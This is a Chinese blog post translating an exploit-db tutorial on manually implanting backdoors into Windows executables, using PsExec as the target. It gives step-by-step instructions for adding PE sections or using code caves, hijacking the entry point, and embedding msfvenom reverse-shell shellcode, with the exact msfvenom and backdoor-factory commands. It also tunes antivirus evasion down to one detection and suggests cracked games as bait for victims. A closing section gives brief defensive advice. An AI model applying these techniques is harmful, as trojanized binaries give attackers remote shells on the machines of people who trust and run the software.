20144306免考_如何在可执行文件中手动植入后门

原文:https://www.exploit-db.com/docs/42061.pdf 

免责声明:纯手工翻译,谢谢,本文仅限教学,偷鸡摸狗的后果自负。

免考1  课程总结

 word文档+xmind脑图

 

 

免考2  如何在可执行文件中手动植入后门

  前言

   本文介绍了如何木马化正常的可执行文件,选择了一种管理员常用到的系统文件作为植入后门的对象,通过反汇编,对可执行文件的执行流程进行控制,劫持正常的语句进行跳转。主要针对于相对虚拟地址的计算,因此可以有效抵制地址随机化给植入后门带来的困难。操作环境是win7sp1x86以及kali2,主用用到的软件下文第一章表格里已经列出,本文通过三种方法来实现后门植入,且可以有效避开杀软,在不对木马化的正常可执行文件进行免杀操作时,查杀率都可以达到2/39。

  目录

   第一章:介绍

   什么是后门?

   实验环境搭建

   PE结构介绍

   代码洞code caves介绍

   地址空间随机化介绍

   RVA介绍

   第二章:典型的手动植入后门过程

   第三章:利用代码洞植入后门过程

   第四章:加入人为触发因素植入后门过程

---------------------------------------------------------------------------------------------------------------------------------------

  第一章:介绍

  • 什么是后门?

     在本文中,“后门”植入指的是让看似无害的可执行文件(即PE文件,portable executive)执行恶意的载荷的一种技术,这个有效载荷可以任何东西,从启动calc.exe到添加一个用户帐户再到生成一个远程shell,我们可以叫它shellcode。

     尽管绕过杀软并不是本文的重点,但是本文也会通过迭代分析这种后门植入手段在绕过杀毒软件方面的有效性。其实这已经是个老生常谈的话题了,但是没人关注如何对付ASLR(地址随机化)以及已有代码洞(code cave)的利用,但是我有~~

     Josh Pitts的后门工厂是一个几乎吊炸天的工具,它可以自动地通过后门执行一系列可执行程序。感谢他让我变成了老司机。但是,不要依赖它,因为手动实现后门才是王道~

     问题一:你为啥要搞后门?你是不是有毒?

     或许。骗你啦,你没看免责声明吗?

     问题二:你喜欢走后门吗?

     冷漠...

      问题三:好啦,好啦,什么是后门植入的最佳目标呢?

      由于我们希望可执行文件最终创建反弹型(或者绑定型)shell,所以当网络通信生成或者被请求添加防火墙准入事项时,用户不会感到可疑。此时,后门的最佳目标可以是NetCat、ssh/telnet客户端等等。

     另一种目标可以是破解软件。当有人想白嫖某个有趣但是死贵的游戏时,他们可能会下载一个带着补丁的“破解”版本。他们对这类文件比较信任,认为游戏破解版除了不需要付费意外,并不会有其他可疑行为,哦呵呵呵呵。

     PsExec(系统内部工具的一种)将被用于我们的后门范例。我有一万个理由告诉你为什么用 PsExec;它被系统管理员广泛使用。该工具的确有网络流量,也会与其他机器通信。它本身的目的是加载和执行二进制文件,这样当创建一个反弹型(或者绑定型)shell,它看起来就不那么可疑了。有趣的是,Sophos(一款杀软)将PsExec打为恶意软件(什么鬼?),因此我们不会将Sophos杀软的检测结果考虑在内。

     问题四:本文有什么内容?

      本文共分为四章:

     大毛:介绍(你现在正在阅读的)和环境搭建(你不只是在阅读,对吗?),对PE结构,代码洞穴,ASLR和地址的简要介绍。

     二毛:重点是通过添加一个全新的section来手动地对合法的PE进行回溯。

     三毛:我们将使用现有的Code Caves,而不是添加一个新的section。

     小毛:第四个模块演示了一种更聪明的方法,可以在默认情况下防止payload的执行(添加一个人为因素)。

     问题五:学习本文需要准备什么?

     读懂本文需要事先掌握哪些知识?

     这些都是我自学的,所以可能屁用没有(谦虚)。但如果你想要掌握本文的全部知识点,复现所有实验,我建议可以先掌握有关x86汇编、shellcode编写、调试器(特别是OllyDbg/Immunity)的使用以及驻留技术等相关知识。

     问题六:你是羊驼还是草泥马?

     微笑

  •  实验环境搭建

     为了保护我们自己的PC机,我们的实验都将在虚拟机上完成,下表显示了本文所使用的特定操作系统版本和工具。

     虚拟机 1: Windows 7 SP1 (x86)

Immunity Debugger (http://debugger.immunityinc.com/ID_register.py)
LordPE (http://www.malware-analyzer.com/pe-tools)
XVI32 (http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm)
Stud_PE (http://www.cgsoftlabs.ro/dl.html)
Netcat (Can be found in Kali /usr/share/windows-binaries/)
PsExec (https://technet.microsoft.com/en-ca/sysinternals/bb897553.aspx)

     虚拟机 2: Kali Linux (Used 2016.2 32-bit but should work for any version)

     各种软件应有尽有.

  • 对PE结构的快速浏览

     本节会重点介绍PE文件的某些字段,这些字段在下文讨论的后门植入中会有所涉及。更多深入解释这些字段,点,但这里我们会重点介绍与后门植入有关的那些字段。

     打开Windows 7虚拟机,启动LordPE,点击PE Editor:

     

     选择PsExec.exe:

     

     可以看到如下显示界面:

     

 

     • EntryPoint:入口点,从基地址开始的虚拟偏移,指向执行的第一个命令(ModuleEntryPoint)。

     • ImageBase: 映射可执行文件的首选基地址,尽管默认值是0x00400000,但是这个值可以被覆盖。如果用ASLR编译,将被忽略。

     • SectionAlignment:内存中区块的对齐值,不能小于页面大小(4096字节)。内存中的块大小必须是该值的整数倍。

     • FileAlignment:原始文件中区块的对齐值,通常为512字节。

     • Magic:对文件特征略浮夸的术语(抱歉,这里没有什么神奇的东西)。

     • NumberOfSections:在文件头之后定义的区段数目,稍后讨论。

     • SizeOfHeaders: 所有头部的组合大小(包括DOS头,PE头,PE可选头和节头)。

     • Checksum: 镜像文件校验和。

     • SizeOfOptionalHeader:  顾名思义。可选的头文件包含一些数据,比如首选的ImageBase、EntryPoint、 Checksum和和许多其他字段。

     接下来,点击Sections:

     

     如NumberOfSections所示,我们有5个section。

     名为.text的section包含可执行代码,因此在默认情况下,它需要可读和可执行的属性。

     名为.data和名为.rdata的section包含只读数据,想在这一节中执行内容,可通过设置可执行标记来完成。

     名为.rsrc的section包含资源数据。

     .reloc段通常不是必需区段,除非内存中的基址存在冲突。

     看一下一些更详细信息:

     

     

     可以看到:

     • Voffset:visual offset,当加载到内存时,section距离ImageBase的偏移。

     • VSize:visual size,加载到内存中的section的大小。

     • ROffset:raw offset,磁盘上的实际文件偏移量,可以使用您喜欢的十六进制编辑器工具进行验证。

     • RSize:raw size,磁盘的实际大小。

     • Flags: 包含定义各section“权限”的标志,详细信息可以点击三个点按钮来查看。

  • Code Caves

      在Drew Benton所写的一篇有关code caves的优质文章中,这样定义了“code caves”:“一种重定向机制,程序执行流程会被重定向到另一个位置,然后再返回到之前离开的那个区域”。在后门概念中,code caves是一个新的或未使用的死亡空间,我们可以在其中放置定制代码并重定向到它,而不会破坏实际的可执行文件。

    我们可以回顾一些技巧:

  • 添加一个section

           优点:大量的空间。

           缺点:二进制文件大小增加,更容易被标记为恶意。

  • 使用现有的死亡空间

           优点:文件大小不变,不太容易被标记为恶意。

           缺点:空间可能非常小,需要修改部分权限来允许代码执行。

     还有另外两种技术,本文没有涉及:

  • 扩充最后的section

           优点:section的数量不会改变。

           缺点:二进制文件大小增加,更容易被标记为恶意,严重依赖于最后的section。没有比添加一个新section更好。

  • Cave jumping

           灵活,可以使用一种或混合使用多种现有技术。可能更具隐蔽性。

           缺点:需要将payload切割成更小的单元,可能需要更改多个section的权限。

  • Address Space Layout Randomization (ASLR)地址空间布局随机化

     ASLR是一种安全机制,它可以随机分配可执行文件的基地址/.dll文件的基地址 以及 其他内存段(如堆栈和堆)的位置。这种机制可以避免基于固定函数/代码段跳转的漏洞利用技术。

     当在支持ASLR的操作系统上使用/DYNAMICBASE选项编译PE或者DLL时,.reloc段(记得吗?)就不再需要了。当修改程序指令时,我们不能使用固定的跳转方式,相反,我们必须使用当前指令和下一条指令之间的相对偏移量来进行跳转(稍后将详细解释)。     

     我们需要使用一个新的工具Immunity Debugger,Immunity  Debugger软件专门用于加速漏洞利用程序的开发,辅助漏洞挖掘以及恶意软件分析。它具备一个完整的图形用户界面,同时还配备了迄今为止最为强的python安全工具库。它巧妙的将动态调试功能与一个强大的静态分析引擎融合于一体,它还附带了一套高度可定制的纯python图形算法,可用于帮助我们绘制出直观的函数体控制流以及函数中的各个基本块。

     使用这个工具前需要搭建python环境,去python官网下载安装包安装。注意版本不要超过3.X,我安装的是2.7.1版本的。

     

     然后安装immunity debugger就ok了,可以打开immunity debugger,看一下运行界面:

     

     如果你想看到ASLR的作用,请在Immunity中加载PsExec(file->open->PsExec),并进入内存选项卡(alt+m):

     

     可以看到地址、大小、section信息、允许的读写执行操作都在这里(好cool),注意PsExec的基地址是012B0000,关掉immunity,重新载入PsExec,会发现PsExec的基地址发生了改变:

     

     PsExec的基地址变成了00C40000,这就是地址随机化的体现。

  • 文件偏移量和RVA

    正如前面所讨论的,当一个PE被加载到内存中时,它的映射方式与磁盘上的映射方式完全不一样。这里引入了一些我们需要记住的术语,后门可能会用到。

     • File Offset: 当前文件中的位置,可以使用十六进制编辑器查看这个值。

     • Base Address: 基地址,加载到内存中的二进制文件的起始地址。默认值是0x00400000,但是随着ASLR(地址随机化)的启用,这个值在每次加载时都发生了变化。

     • Virtual Address:虚拟的地址,加载到内存中的段地址,包括二进制文件开始的基地址。

     • Relative Virtual Address:相对虚拟地址,等于虚拟地址减去基地址。

     入口点(EntryPoint)在9DE6,这个值就是所谓的RVA地址。所以当映射到内存时,它就会显示为ImageBase+EntryPoint的形式(注意刚才看到的PsExec的基地址为00C40000),00C40000+9DE6=00C49DE6(=𝐵𝑎𝑠𝑒𝐴𝑑𝑑𝑟𝑒𝑠𝑠+𝐸𝑛𝑡𝑟𝑦𝑃𝑜𝑖𝑛𝑡=𝑀𝑜𝑑𝑢𝑙𝑒𝐸𝑛𝑡𝑟𝑦𝑃𝑜𝑖𝑛)。

     类似地,我们看到的ImageBase是一个首选值,如果该值被占用,PE加载器会去查找另一个可用的地址。如果启用了ASLR,这个值会被完全忽略掉。

     使用Immunity加载PsExec,你会看到如下信息:

     

     接下来,转到内存窗口(ALT+M):

     

     当二进制文件被加载到内存中时,各section的映射方式与文件不同,如果我们展开查看size列,那么所有大小都是4096的倍数(还记得SectionAlignment吗?)BaseAddress为0x00C4000,我们可以查看PE头部中的起始地址,也可以查看Owner列中的值来获取BaseAddress。

     另一个观察点是sizeofheader字段,这个字段位于400h处,然而它被映射到1000h字节处,因此.text段的FileOffset字段与它的RVA地址之间存在600h字节的偏移量。这里有个等式可以计算这个:

     𝐹𝑖𝑙𝑒 𝑂𝑓𝑓𝑠𝑒𝑡 𝑜𝑓 𝐸𝑛𝑡𝑟𝑦𝑃𝑜𝑖𝑛𝑡 = 𝐸𝑛𝑡𝑟𝑦𝑃𝑜𝑖𝑛𝑡 − (𝑉𝑖𝑟𝑡𝑢𝑎𝑙𝑆𝑖𝑧𝑒𝑂𝑓𝐻𝑒𝑎𝑑𝑒𝑟 − 𝑆𝑖𝑧𝑒𝑂𝑓𝐻𝑒𝑎𝑑𝑒𝑟𝑠)

  第二章:手动植入后门的过程

  • 控制执行流程

     下面的步骤将展示一个基本的后门实施的过程:

  1. 劫持代码执行:执行后门最简单的方法是用JMP Cave替换ModuleEntryPoint的指令。JMP Cave可能会覆盖不止一条指令,因此需要将这些指令以及紧随其后的指令保存下来。
  2. 保存当前状态:因为以二进制的形式执行对隐藏后门来说是至关重要的,我们需要将这些值存储在所有的寄存器或标志位中,这是由两个指令:PUSHAD和PUSHFD完成的。注意观察ESP寄存器的值。
  3. 执行恶意的payload:现在我们可以安全地执行shellcode了。
  4. 对齐堆栈:shellcode可能将数据压栈。由于我们需要恢复寄存器以及标志的值,因此ESP可能需要对齐。我们需要将该值与步骤3之后的ESP值进行对比,然后再对齐(ADD ESP,对齐)。
  5. 恢复状态:使用POPFD/POPAD恢复状态。需要以相反顺序完成这个操作,因为栈是LIFO(后进先出)结构。
  6. 执行多写出的指令:我们在步骤1覆盖了某些指令,是时候恢复这些指令了。
  7. 继续执行:最后一个步骤是跳转到程序正常执行流程中的下一条指令,执行该指令,恢复程序的正常执行流程。

     

     

  • 典型后门的植入方法

      第一种方法是在原始PE的末端添加一个全新的section,一个常规的Meterpreter payload大概350个字节左右,我们可以使用Stud_PE工具来创建一个新的section。

      注意:我使用Stud_PE而不是LordPE + 一个十六进制编辑器的组合原因在于后者对我来说有时候会出错,我们当然可以随意使用任何喜欢的东西啦。

     打开Stud_PE,将PsExec.exe拖进去,打开Sections标签项,右键->New Section并按照下面的内容填写:

     

     添加完成后可以发现section标签栏里多了一条新记录:

     

      默认状态下,这个section是RWX(可读可写可执行)的,在内存中如果想要对section进行修改需要对写标志位进行设置。

     

     好哒,现在新section已经存在了,双击它,你会看到一堆null值。

     

     这就是我们要存放payload的地方。在我们继续之前,让我们来将检查下这个PsExec有多可疑。

     用virSCAN.org扫描一下看看:

     

     

     

     注意:Sophos反病毒软件默认情况下会将PsExec标记为恶意软件,因此我会忽略Sophos的检测结果。

     仅仅多加了一个section就产生了1/39的怀疑,现在继续。

     下一步是通过跳转到我们的新section来劫持第一条指令,为了达到这一目的我们需要知道两个.text section的RVA、第一条CALL指令以及下一条指令的地址。

     

     012F1500的RVA是RVA_11500,012E9DEB的RVA 是 RVA_9DEB,  .test的RVA 是 RVA_7D000(0x0135D000-0x012E0000=7D000)。

     注意:如果JMP Cave覆盖了多个命令,那么你还需要处理这个问题。对我们来说很幸运,CALL PsExec.012F1500 的操作码大小与JMP Cave相匹配。

     我们将使用nasm_shell.rb(Metasploit项目的一部分)来获得正确的指令。如果你安装了个JMP .test_section_start,它第一次或许有效,但是要跳到的地址将会被强行编码并且在重载后会失效。

     

     从9DE6跳到7D000,偏移量是7321A。

     打开kali,键入:

     root@KaliYL:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

     

     复制下生成的操作码(E915320700)然后回到immunity debugger,右击PsExec的第一条指令->Binary->binary Paste

     

     然后你会发现,0x012E9DE6上的这条指令变成了跳到0x0135D0000:

     

     接下来输入单步执行指令(F7),你就会在.text的最开始地方。

     

     很好,重新启动调试(CTRL+F2),粘贴新的操作码,然后点击鼠标右键->Copy To Executable-> All Modification。在新窗口中,右键单击-> Save File。我把它命名为PsExec_hsy_bkdr1.exe。

    

    

    打开新的可执行文件,你可以看到新覆盖的命令(你认为它改变了吗?仔细看看)。接下来,回到那个新section,让我们添加一些代码。

    

     1. PUSHAD/PUSHFD 将值存储在寄存器或标志位中。

     2. 大约400 个空位 (这是随着堆栈对齐开始shellcode将要存储的地方)

     3. POPFD/POPAD

     4. 覆盖指令(s)(劫持ModuleEntryPoint)

     5. JMP到下一条指令

     

     在最后,再来一遍POPFD/POPAD。

     

     内存看起来应该像这样:

     RVA_7D000 - RVA_7D001: PUSHAD/PUSHFD
     RVA_7D002 - RVA_7D1FD: NOPs (给堆栈对齐和shellcode留空)
     RVA_7D1FE - RVA_7D1FF: POPFD/POPAD (栈是后进先出工作模式)

     在0044 D200 (RVA_7D200)处,我们想加入下面两条指令: 

     • CALL RVA_11500
     • JMP RVA_9DEB

     在kali中求一下操作码:

     

     复制这个操作码,并且保证你为新指令留下了足够的空间(方法和刚才一样,右键->binary->binary paste,下一条从D205开始):

     

     从RVA_7D205 跳到 RVA_9DEB也是一样的步骤:

      

     最后的变化应该看起来像这样:

     

     将更改保存到PsExec_hsy_bkdr2.exe,可执行文件的工作原理类似code cave处理二进制文件的正常执行,再扫描一下新的后门软件,看一下报毒率(注意目前为止我们还没有放入任何恶意的payload):

      

     有8款报毒。

     下面我们用msfvenom来生成payload,我们打算使用windows/shell_reverse_tcp这个payload。

      注意注意:

     •我们不想关闭shell就意味着退出进程,我们的目标是让其处于一种暂停的状态。

     •生成的payload需要修改,因为它会以-1这个参数调用WaitForSingleObject(即无限等待)。我们也不希望这种情况发生。

     在kali中键入命令:

     root@KaliYL:~# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=127.0.0.1 EXITFUNC=none -f hex

     

     在PUSHAD及PUSHFD命令后留有足够的空间,再粘贴生成的payload,并在临近末尾的这三条指令换成nop指令,避免程序执行被暂停[WaitForSingleObject(-1)]。

     

    请在PUSHFD/PUSHAD执行后以及载荷执行后关注ESP的状态,确保栈对齐。对我而言,我需要添加一条“ADD ESP, 1FC“指令。保存所有的修改,避免前功尽弃。

     

     在windows上开启一个netcat监听并且执行后门,你就可以拿到shell:

     

     成功,但是有10款报毒,但是比起我们当时生成的后门要好得多得多了吧:

     

     免杀的操作,我们之前学习很多了,可以对这个后门进行各种免杀操作,这里我就不赘述了。

     接下来,我们再换一种方法。

  第三章:劫持本已存在的Code Caves

     上面的方法存在一些缺点:第一,文件的大小发生了很大改变;第二,仅仅添加几句简单的逻辑语句就有7款杀软报毒(甚至没有添加payload)。让我们试着用二进制中已经存在的空洞来解决这些问题。

     注意,搜索code caves的过程必须在文件形态时完成,而不是在加载到内存的时候。

     为此,我们将在kali使用下面这条指令:     

     root@KaliYL:/usr/bin# backdoor-factory -f PsExec.exe -c -l 500 -q  (躲在/usr/bin里还是被爸爸找到了吧)

     • -f: 输入文件名(注意把PsExec.exe放到/usr/bin目录下)。

     • -c: 寻找 code caves。
     • -l:  code cave的最小尺寸。
     • -q: 静默模式

     

     哇,看看我找到了啥?

     • BDFactory发现至少有3个code caves,让我们可以在其中实现后门。

     • 这三个cave都在.data数据段里。

     • cave的开始和结束地址都是原始的文件偏移地址,为了使用这些代码洞,我们必须获取它们的RVA地址。

     • PointerToRawData/End of Raw Data:代表.data段开始/结尾的原始文件偏移值。

      让我们先使用一下第一个cave,因为它位于.data区域,我需要将这一区域设置成可执行(利用LordPE),仅仅将.data添加X属性就产生了5个报毒:

      

      

    下面,我们将利用公式三来计算第一个cave的RVA偏移量

    𝑅𝑉𝐴 = 𝑉𝑂𝑓𝑓𝑠𝑒𝑡 𝑜𝑓 𝐶𝑎𝑣𝑒′𝑠 𝑆𝑒𝑐𝑡𝑖𝑜𝑛 + 𝑅𝑂𝑓𝑓𝑠𝑒𝑡 𝑜𝑓 𝐶𝑎𝑣𝑒 − 𝑅𝑂𝑓𝑓𝑠𝑒𝑡 𝑜𝑓 𝐶𝑎𝑣𝑒′𝑠 𝑆𝑒𝑐𝑡𝑖𝑜𝑛 
    = 0𝑥29000 + 0𝑥272𝑒5 (前面截图出现过)− 0𝑥27200   = 𝑅𝑉𝐴_290𝐸5

    为了以防万一,我们将它设置成RVA_290E8

    用kali求一下机器码,并复制下来:

    

    在0x000E9DE6处做替换:

     

     将其保存为PsExec2_hsy_bkdr.exe,然后重新载入它并按F7键。

     

     很好,我们现在可以重复和之前一样的步骤啦,添加PUSHAD/POPFD, ~400 NOPs, POPFD/POPAD, CALL RVA_11500 以及 JMP RVA_9DEB.

     计算方法:RVA_290e8+196=RVA_2927e

     

     另一个:RVA_290e8+19b=RVA_29283

     

     

     保存为psexec2_hsy_bkdr2.exe,扫描一下:

     

     只有六款报毒,比上种方法同一阶段少了2款。

     我们接下来继续使用msf生成payload,然后调整堆栈,最后保存这些更改,再扫描一下:

     

     

     有9款报毒,比上种方法少了1款。需要注意的是,我们并没有使用任何方式对MSF载荷进行编码、加密或者混淆。

  第四章:人为因素

     所以当我摆脱了添加一个section的困扰后,我们可以做什么呢?两个例子中我们都做了同样一个事情,就是在入口点替换了一条jmp语句,跳到了我们的cave中,这很好,这是确保执行payload的一种很保守的方式,但却也让AV软件可以一步进入,报毒率因此会显著上升。如果我们通过与用户交互来触发代码洞呢?毕竟杀毒软件不像人类那样可以充分地与可执行程序进行交互或传递参数(可能永远也达不到这个高度)。毕竟对于PsExec来说,这个程序需要传入参数,否则就会打印程序使用说明

     让我们看一下,PsExec在常规输入下的行为:

     

     如果我们的后门hook某个字符串的打印动作会怎么样?我们可以在某个字符串被载入内存时设置断点,触发我们的后门。

     Immumity debugger这个工具支持传入命令行参数:

     

     查找程序中所有引用的文本字符串,右键->search for->all referenced text string

     

     找到这样一句:

     右键,选择“Follow in Disassembly“,跳转到汇编代码的相应位置。

     

     你可能会碰到某个异常,忽略它即可。让我们跟进第二个CALL(即CALL PsExec2_.003182AF)。在RET之前有某些未使用的空间可以利用,我们为什么不让程序在这里跳转到我们的载荷呢?

     

     在RVA_8334处,我们可以跳转到我们的代码洞中(RVA_290E8)。劫持RETN指令有什么好处呢?我们可以直接使用它,而不用去在意下一跳指令是什么。

     

     

     请注意:不要忘记修补入口点指令,我们再也不需要从那个位置跳转到我们的代码段。保存更改,然后启动监听器。

    

    看看测试结果:

    

    相当成功,让我特别兴奋的是这样木马化正常软件生成的后门,360杀不出来。

    杀软检测结果如何?

    

     只有7款报毒,这是目前最低的检测率!可能是静态分析还有点问题,且知名的杀软还是会检测出MSF shellcode。

     使用自定义的异或算法处理一个最小的MSF shellcode。

     所使用的shellcode:

     msfvenom -p windows/shell_reverse_tcp -b "\x00" –smallest -f hex

     

     把这样改进后的后门软件再扫描一下:

     

    只有5款,这是迄今为止,最低的报毒率了。

     如果我们弃用MSF shellcode,使用不是那么可疑的exploit-db的shellcode呢?我使用的是这个载荷,没有进行编码处理。

    

    只有一款!!!当然我们可能还有提升的空间(比如使用加密方法?),但现在结果已经足够好了。

  • 如何保护自己?    

    我建议我们自己编译源码,编写自己的工具,不要信任任何人。否则,还是放弃保护自己的念头吧。

    当然,现实点的建议是:

    1、只从信任的源上下载程序。

    2、检查校验和/哈希值。

    3、给自己的系统打补丁,经常更新自己的病毒库。

    4、注意提示信息,正常情况下calc.exe肯定不会请求添加防火墙例外的。

    5、希望一切顺利,不要无脑单击到底。

    

  第五章:附录

  • 公式

    1、𝑀𝑜𝑑𝑢𝑙𝑒𝐸𝑛𝑡𝑟𝑦𝑃𝑜𝑖𝑛𝑡(模块入口点) = 𝐵𝑎𝑠𝑒𝐴𝑑𝑑𝑟𝑒𝑠𝑠(基址) + 𝐸𝑛𝑡𝑟𝑦𝑃𝑜𝑖𝑛𝑡(入口点)

    2、EntryPoint在文件中的偏移 = EntryPoint – (𝑉𝑖𝑟𝑡𝑢𝑎𝑙𝑆𝑖𝑧𝑒𝑂𝑓𝐻𝑒𝑎𝑑𝑒𝑟 − 𝑆𝑖𝑧𝑒𝑂𝑓𝐻𝑒𝑎𝑑𝑒𝑟𝑠)

    3、代码洞的RVA地址 = 代码洞所在区段的虚拟偏移 + 代码洞的原始偏移 – 代码洞所在区段的原始偏移

  • 代码仓库

    1、https://github.com/abatchy17/Introduction-To-Backdooring

    2、https://github.com/abatchy17/SLAE

  • 流程参考图

     第一种 新建section:

     

    第二种 code cave 利用:

    

     添加触发事件:

     

posted on 2017-06-01 11:16  ranransbean  阅读(673)  评论(1编辑  收藏  举报

导航